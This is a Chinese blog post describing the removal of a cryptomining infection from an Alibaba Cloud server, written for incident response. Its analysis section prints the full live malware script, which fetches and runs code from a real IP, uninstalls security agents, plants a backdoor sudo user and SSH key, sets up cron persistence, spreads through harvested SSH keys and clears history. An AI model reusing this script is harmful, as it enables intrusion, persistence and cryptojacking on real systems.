清除阿里云服务器挖矿程序过程

现象
解决方法
- 1. 使用audit监控pam_unix.so文件
- 2. 查找cron隐藏命令
挖矿脚本分析
总结

现象

某天开始使用正确的用户名/密码无法SSH登录服务

即使用阿里云的vnc登录，输入完用户名之后就出现login incorrect的错误。

查看登录日志如下：

通过工单请阿里云运维帮忙解决，他们发现pam_unix.so文件会被篡改。但是他们并未彻底解决问题。

使用stat查看文件的情况：

图1：重新安装pam之后的状态

图2：过几分钟发现pam_unix.so被修改了

从现象了解到我们的ssh登录被劫持了，以下是解决方法。

解决方法

1. 使用audit监控`pam_unix.so`文件

安装方法参考：《在 Linux 下监控程序修改文件》

（1）配置监测规则

# vi /etc/audit/rules.d/audit.rules
-a always,exit -F path=/usr/lib64/security/pam_unix.so -F perm=warx -F key=keyword-for-filter-log

（2）重启 audit 服务

service auditd restart

（3）检查 audit 规则

# auditctl -l
-a always,exit -F path=/path/to/file -F perm=warx -F key=pam_unix-filter

（4）重装pam

# yum reinstall pam

（5）等待几分钟，查看程序被修改情况

# ausearch -k pam_unix-filter

当时的日志没有保留，为了形象，贴出的是最近的日志，也可以查看上面阿里云客服贴出的图：

发现crond程序在修改文件。可是使用crontab -l并没有看到修改程序。

2. 查找cron隐藏命令

（1）查看当前的定时任务列表

#  ll /var/spool/cron/

（2）查看隐藏定时任务

# cat -A /var/spool/cron/root

发现该文件里面有许多我们不知道的定时任务：

从截图可以看出：拷贝了我们服务器上的部分文件，然后将挖矿脚本定时任务隐藏在了里面。

其中crontab隐藏任务的方法可以参考：《linux-隐藏你的crontab后门》

删除该文件，用做研究，并依此删除对应的文件。

同时，筛选出所有的定时任务如下：

拷贝该定时任务脚本出来，进行分析。

# mv /var/spool/cron/root /var/spool/cron/root.bk
# touch /var/spool/cron/root

挖矿脚本分析

分析其中的一个脚本 java88.sh，该脚本的分析流程参考：《Linux watchdogs 感染性隐藏挖矿病毒入侵还原录》
总结起来的步骤如下：

关闭定时任务
删除ssh登录信息
删除下载的应用程序、其他脚本
删除创建的所有目录
删除重命名的命令，可以使用md5sum检查。比如cd1这个命令与wget的md5值相同。

备注：需要对所有脚本执行上面的步骤

脚本内容如下：

#!/bin/bash -e

VERSION=2.22

if [ -f "/etc/.system/java/java8_8.log" ]
then
    echo "process possible running"
    current=$(date +%s)
    last_modified=$(stat -c "%Y" /etc/.system/java/java8_8.log)
   if [ $(($current-$last_modified)) -gt 600 ]; then
        echo "no rr process running";
    else
    echo "rr process running"
    exit 1
   fi
else 
    echo "rr process not running"
fi

curl -fsSL http://65.108.48.150/java8-py/make-rr.sh | bash 
cd1 -fsSL http://65.108.48.150/java8-py/make-rr.sh | bash 
cc1 -fsSL http://65.108.48.150/java8-py/make-rr.sh | bash 

export RRHOME=/etc/.system/java
mkdir $RRHOME -p

rm -rf /var/log/syslog
rm -rf /etc/.system/rtm
chattr -iua /tmp/
chattr -iua /var/tmp/
ufw disable
iptables -F
sudo sysctl kernel.nmi_watchdog=0
sysctl kernel.nmi_watchdog=0
echo '0' >/proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
chattr -iae /root/.ssh/
chattr -iae /root/.ssh/authorized_keys
rm -rf /tmp/addres*
rm -rf /tmp/walle*
rm -rf /tmp/keys
if ps aux | grep -i '[a]liyun'; then
  curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
  curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
  pkill aliyun-service
  rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
  rm -rf /usr/local/aegis*
  systemctl stop aliyun.service
  systemctl disable aliyun.service
  service bcm-agent stop
  yum remove bcm-agent -y
  apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
  /usr/local/qcloud/stargate/admin/uninstall.sh
  /usr/local/qcloud/YunJing/uninst.sh
  /usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi
if [ -f /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh ]; then
  /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh stop && /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh remove && rm -rf /usr/local/cloudmonitor  
else
  export ARCH=amd64
  if [ -f /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} ]; then
    /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} stop && /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} uninstall && rm -rf /usr/local/cloudmonitor 
  else
    echo "ali cloud monitor not running"
  fi
fi
setenforce 0
echo SELINUX=disabled >/etc/selinux/config
service apparmor stop
systemctl disable apparmor
service aliyun.service stop
systemctl disable aliyun.service
ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %
rm -rf /usr/local/aegis


echo "RR mining setup script v$VERSION."
echo

if [ "$(id -u)" == "0" ]; then
  echo "WARNING: Generally it is not adviced to run this script under root"
fi

# command line arguments
WALLET=RGj5X7QRq53FRUjCC1pGE722LBYqbiEQm6
EMAIL=$1 # this one is optional

# active 1GB pages
sysctl -w vm.nr_hugepages=$(nproc)

for i in $(find /sys/devices/system/node/node* -maxdepth 0 -type d);
do
    echo 3 > "$i/hugepages/hugepages-1048576kB/nr_hugepages";
done

echo "1GB pages successfully enabled"

# checking prerequisites

if [ -z $WALLET ]; then
  echo "Script usage:"
  echo "> setup_rr_miner.sh <wallet address> [<your email address>]"
  echo "ERROR: Please specify your wallet address"
  exit 1
fi

WALLET_BASE=`echo $WALLET | cut -f1 -d"."`
if [ ${#WALLET_BASE} != 95 -a ${#WALLET_BASE} != 34 ]; then
  echo "ERROR: Wrong wallet base address length (should be 95 or 34): ${#WALLET_BASE}"
  exit 1
fi

if [ -z $RRHOME ]; then
  echo "ERROR: Please define HOME environment variable to your home directory"
  exit 1
fi

if [ ! -d $RRHOME ]; then
  echo "ERROR: Please make sure HOME directory $RRHOME exists or set it yourself using this command:"
  echo '  export RRHOME=<dir>'
  exit 1
fi

#check curl, wget
if ! command -v curl &> /dev/null
then
    echo "curl could not be found, will install..."
    apt-get install curl -y
    yum install curl -y
fi
if ! command -v wget &> /dev/null
then
    echo "wget could not be found, will install..."
    apt-get install wget -y
    yum install wget -y
fi

if ! type lscpu >/dev/null; then
  echo "WARNING: This script requires \"lscpu\" utility to work correctly"
fi

if ! sudo -n true 2>/dev/null; then
  echo "Since I can't do passwordless sudo, mining in background will started from your $RRHOME/.profile file first time you login this host after reboot."
else
  echo "Mining in background will be performed using moneroocean_miner systemd service."
fi

# start doing stuff: preparing miner

echo "[*] Removing previous rr miner (if any)"
if sudo -n true 2>/dev/null; then
  sudo systemctl stop java88.service
fi
killall -9 xmrig


echo "[*] Downloading rr advanced version of java8_8 to /tmp/" 
curl -L --progress-bar "http://65.108.48.150/f220115rr/s/java8_8" -o $RRHOME/java8_8
curl -L --progress-bar "http://65.108.48.150/f220115rr/s/java8_8.pid" -o $RRHOME/java8_8.pid 

cc1 -L --progress-bar "http://65.108.48.150/f220115rr/s/java8_8" -o $RRHOME/java8_8
cc1 -L --progress-bar "http://65.108.48.150/f220115rr/s/java8_8.pid" -o $RRHOME/java8_8.pid 

cd1 -L --progress-bar "http://65.108.48.150/f220115rr/s/java8_8" -o $RRHOME/java8_8
cd1 -L --progress-bar "http://65.108.48.150/f220115rr/s/java8_8.pid" -o $RRHOME/java8_8.pid 


chmod +x $RRHOME/java8_8
chmod +x $RRHOME/java8_8.pid

echo "[*] Miner $RRHOME/java8_8 is OK"

PASS=`hostname | cut -f1 -d"." | sed -r 's/[^a-zA-Z0-9\-]+/_/g'`

sed -i 's/"1gb-pages": *false,/"1gb-pages": true,/' $RRHOME/java8_8.pid
sed -i 's/"algo": *null,/"algo": "gr",/' $RRHOME/java8_8.pid
sed -i 's/"tls": *false,/"tls": true,/' $RRHOME/java8_8.pid
sed -i 's/"keepalive": *false,/"keepalive": true,/' $RRHOME/java8_8.pid
sed -i 's/"url": *"[^"]*",/"url": "eu-rtm.pool-server.com:5555",/' $RRHOME/java8_8.pid
sed -i 's/"user": *"[^"]*",/"user": "'$WALLET'.'$PASS'",/' $RRHOME/java8_8.pid
sed -i 's/"pass": *"[^"]*",/"pass": "x",/' $RRHOME/java8_8.pid
sed -i 's/"max-cpu-usage": *[^,]*,/"max-cpu-usage": 100,/' $RRHOME/java8_8.pid
sed -i 's#"log-file": *null,#"log-file": "'$RRHOME/java8_8.log'",#' $RRHOME/java8_8.pid
sed -i 's/"syslog": *[^,]*,/"syslog": true,/' $RRHOME/java8_8.pid
sed -i 's/"max-threads-hint": *[^,]*,/"max-threads-hint": 75,/' $RRHOME/java8_8.pid
sed -i 's/"max-threads-hint": *[^,]*,/"max-threads-hint": 75,/' $RRHOME/java8_8_background.pid

cp $RRHOME/java8_8.pid $RRHOME/java8_8_background.pid
sed -i 's/"background": *false,/"background": true,/' $RRHOME/java8_8_background.pid

# preparing script

echo "[*] Creating $RRHOME/miner.sh script"
cat >$RRHOME/miner.sh <<EOL
#!/bin/bash
if ! pidof java8_8 >/dev/null; then
  nice $RRHOME/java8_8 \$*
else
  echo "RAPTOREUM miner is already running in the background. Refusing to run another one."
  echo "Run \"killall java8_8\" or \"sudo killall java8_8\" if you want to remove background miner first."
fi
EOL

chmod +x $RRHOME/miner.sh

# preparing script background work and work under reboot

if ! sudo -n true 2>/dev/null; then
  if ! grep miner.sh $RRHOME/.profile >/dev/null; then
    echo "[*] Adding $RRHOME/miner.sh script to $RRHOME/.profile"
    echo "$RRHOME/miner.sh --config=$RRHOME/java8_8_background.pid >/dev/null 2>&1" >>$RRHOME/.profile
  else 
    echo "Looks like $RRHOME/miner.sh script is already in the $RRHOME/.profile"
  fi
  echo "[*] Running miner in the background (see logs in $RRHOME/java8_8.log file)"
  /bin/bash $RRHOME/miner.sh --config=$RRHOME/java8_8_background.pid >/dev/null 2>&1
else

  if [[ $(grep MemTotal /proc/meminfo | awk '{print $2}') -gt 3500000 ]]; then
    echo "[*] Enabling huge pages"
    echo "vm.nr_hugepages=$((1168+$(nproc)))" | sudo tee -a /etc/sysctl.conf
    sudo sysctl -w vm.nr_hugepages=$((1168+$(nproc)))
  fi

  if ! type systemctl >/dev/null; then

    echo "[*] Running miner in the background (see logs in $RRHOME/java8_8.log file)"
    /bin/bash $RRHOME/miner.sh --config=$RRHOME/java8_8_background.pid >/dev/null 2>&1
    echo "ERROR: This script requires \"systemctl\" systemd utility to work correctly."
    echo "Please move to a more modern Linux distribution or setup miner activation after reboot yourself if possible."

  else

    echo "[*] Creating rr_miner systemd service"
    cat >/tmp/java88.service <<EOL
[Unit]
Description=RTM miner service

[Service]
ExecStart=$RRHOME/java8_8 --config=$RRHOME/java8_8.pid
Restart=always
Nice=10
CPUWeight=1

[Install]
WantedBy=multi-user.target
EOL
    sudo mv /tmp/java88.service /etc/systemd/system/java88.service
    echo "[*] Starting rr_miner systemd service"
    sudo killall xmrig 2>/dev/null
    sudo systemctl daemon-reload
    sudo systemctl enable java88.service
    sudo systemctl start java88.service
    echo "To see miner service logs run \"sudo journalctl -u rr_miner -f\" command"
  fi
fi

echo ""

RSAKEY="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDWh4GJVPXi1DjSOxs4ytVtVT/XogOlBzAoWn5qE4yyO6EXRz1FhC+EVY9hmUcjMUN1Rp7dYZMLO1vsWhhpqmX9H0YWV2JfKixcXKE2eNrKxl45IRrhIRqNYzr/QnsmLdXZl5OLqoo587jwMCZeWB10NuOiUv5PKVCKUNtT2MQxKv/n5HleqY1Nn9uzFEiIkD39dmqm/4gKPbAcz3uXi31yVVSvUdmqoUoj8B/EdQn182z/Ix+WUJWAuYD2WTrhhYbcDvi+MSOm9ld7MgeOpxzLSEJjEja4+2EHD7dkoNLMD9/UH4FW3yzt3kTUBdaeGJN0mndoex3IggihB5dMjuTnKp25iv6xzYXRCaupxnsRN2rYQlbda8+jZOTxF+nwRGeX9QeSthlQzzZyxEHT7USxQCBpvlyyTZJ9ugX/j11XkKdAGzmKZGo7F0Qxp173eL0SH+6roqrQcXL85r5OPjUd9Xt9fHz2zskN/urYcp6Oi+9kjQgWY0NcjMu/H5YaPP8= wolf@wolfs-MacBook-Pro.local"

grep -q hilde /etc/passwd || chattr -ia /etc/passwd; 
grep -q hilde /etc/passwd || echo 'hilde:x:1000:1000::/home/hilde:/bin/bash' >> /etc/passwd; chattr +ia /etc/passwd
grep -q hilde /etc/shadow || chattr -ia /etc/shadow; 
grep -q hilde /etc/shadow || echo 'hilde:$6$7n/iy4R6znS2iq0J$QjcECLSqMMiUUeHR*&5kloie4iJmkHLzAwgoNRhCC87HI3df95nZH5569TKwJEN2I/lNanPe0vhsdgfILPXedlWlZn7lz0:18461:0:99999:7:::' >> /etc/shadow; chattr +ia /etc/shadow
grep -q hilde /etc/sudoers || chattr -ia /etc/sudoers; 
grep -q hilde /etc/sudoers || echo 'hilde  ALL=(ALL:ALL) ALL' >> /etc/sudoers; chattr +i /etc/sudoers

mkdir /run/network/.ssh/ -p  
touch /run/network/.ssh/authorized_keys  
touch /run/network/.ssh/authorized_keys2  
chmod 600 /run/network/.ssh/authorized_keys
chmod 600 /run/network/.ssh/authorized_keys2
grep -q wolf@wolfs-MacBook-Pro.local /run/network/.ssh/authorized_keys || chattr -ia /run/network/.ssh/authorized_keys; 
grep -q wolf@wolfs-MacBook-Pro.local /run/network/.ssh/authorized_keys || echo $RSAKEY > /run/network/.ssh/authorized_keys; chattr +ia /run/network/.ssh/authorized_keys; 
grep -q wolf@wolfs-MacBook-Pro.local /run/network/.ssh/authorized_keys2 || chattr -ia /run/network/.ssh/authorized_keys2; 
grep -q wolf@wolfs-MacBook-Pro.local /run/network/.ssh/authorized_keys2 || echo $RSAKEY > /run/network/.ssh/authorized_keys2; chattr +ia /run/network/.ssh/authorized_keys2; 
mkdir /root/.ssh/ -p  
touch /root/.ssh/authorized_keys  
touch /root/.ssh/authorized_keys2
chmod 600 /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys2
grep -q wolf@wolfs-MacBook-Pro.local /root/.ssh/authorized_keys || chattr -ia /root/.ssh/authorized_keys; 
grep -q wolf@wolfs-MacBook-Pro.local /root/.ssh/authorized_keys || echo $RSAKEY >> /root/.ssh/authorized_keys; chattr +ia /root/.ssh/authorized_keys
grep -q wolf@wolfs-MacBook-Pro.local /root/.ssh/authorized_keys2 || chattr -ia /root/.ssh/authorized_keys2; 
grep -q wolf@wolfs-MacBook-Pro.local /root/.ssh/authorized_keys2 || echo $RSAKEY > /root/.ssh/authorized_keys2; chattr +ia /root/.ssh/authorized_keys2

echo "Port 11222" >> /etc/ssh/sshd_config
echo "Protocol 2" >> /etc/ssh/sshd_config
echo "ListenAddress 0.0.0.0" >> /etc/ssh/sshd_config
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
echo "AuthorizedKeysFile  .ssh/authorized_keys" >> /etc/ssh/sshd_config

chattr -R -ia /var/spool/cron
chattr -ia /etc/crontab
chattr -R -ia /etc/cron.d
chattr -R -ia /var/spool/cron/crontabs
crontab -r
rm -rf /var/spool/cron/*
rm -rf /etc/cron.d/*
rm -rf /var/spool/cron/crontabs
rm -rf /etc/crontab

crontab -l 2>/dev/null
echo "*/30 * * * * root curl -fsSL http://65.108.48.150/f220305r/java8.sh | bash " >> /etc/crontab
echo "*/30 * * * * root cd1 -fsSL http://65.108.48.150/f220305r/java8.sh | bash " >> /etc/crontab
echo "*/30 * * * * root cc1 -fsSL http://65.108.48.150/f220305r/java8.sh | bash " >> /etc/crontab
echo crontab created
touch -d 20180515 /etc/crontab

chattr -R +ia /var/spool/cron
chattr +ia /etc/crontab
chattr -R +ia /var/spool/cron/crontabs
chattr -R +ia /etc/cron.d

touch -d 20151212 /etc/.system
touch -d 20181212 /etc/crontab


localgo() {
    KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*' | grep -vw pub)
    KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }')
    KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
    HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')
    HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
    HOSTS3=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)
    USERZ=$(
        echo "root"
        find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -v "\.ssh"
    )
    userlist=$(echo $USERZ | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
    hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
    keylist=$(echo "$KEYS $KEYS2 $KEYS3" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
    for user in $userlist; do
        for host in $hostlist; do
            for key in $keylist; do
                chmod +r $key; chmod 400 $key
                ssh -o StrictHostKeyChecking=no -o BatchMode=yes -o ConnectTimeout=5 -i $key $user@$host "(curl -fsSL  http://65.108.48.150/f220305r/java8.sh||cd1 -fsSL  http://65.108.48.150/f220305r/java8.sh||cc1 -fsSL  http://65.108.48.150/f220305r/java8.sh) | bash"
            done
        done
    done

}


if [ ! -f "/var/tmp/.alsp" ];
then
  localgo
  echo 'lockfile' > /var/tmp/.alsp
  chattr +i /var/tmp/.alsp
else
  echo "replay .. i know this server ..."
  exit
fi

mv /usr/bin/curl /usr/bin/cc1
mv /usr/bin/url /usr/bin/uu1
mv /usr/bin/wget /usr/bin/ww1
mv /usr/bin/get /usr/bin/wd1
mv /usr/bin/cd1 /usr/bin/cc1

echo "[*] Setup compXlete"
curl ldfx58.ceye.io
cd1 ldfx58.ceye.io
cc1 ldfx58.ceye.io
history -c

总结

从定时任务里面看到如下信息，怀疑此次挖矿的程序是通过redis的默认端口、帐号密码登录进来

所以，以后安装任何可以远程访问的服务：

（1）必须修改默认端口和帐号密码，然后才能开放远程访问；
（2）并且尽量将权限设置好一些。
（3）记得服务器重要数据备份。

整个过程使用到的命令有：

stat
audit
chattr
……

posted @ 2022-04-01 16:09 水中墨色阅读(726) 评论(0) 编辑收藏举报

刷新页面返回顶部

Vera Land

每天进步一点点～

清除阿里云服务器挖矿程序过程

现象

解决方法

1. 使用audit监控`pam_unix.so`文件

2. 查找cron隐藏命令

挖矿脚本分析

总结

公告

Vera Land

每天进步一点点～

清除阿里云服务器挖矿程序过程

现象

解决方法

1. 使用audit监控pam_unix.so文件

2. 查找cron隐藏命令

挖矿脚本分析

总结

公告

1. 使用audit监控`pam_unix.so`文件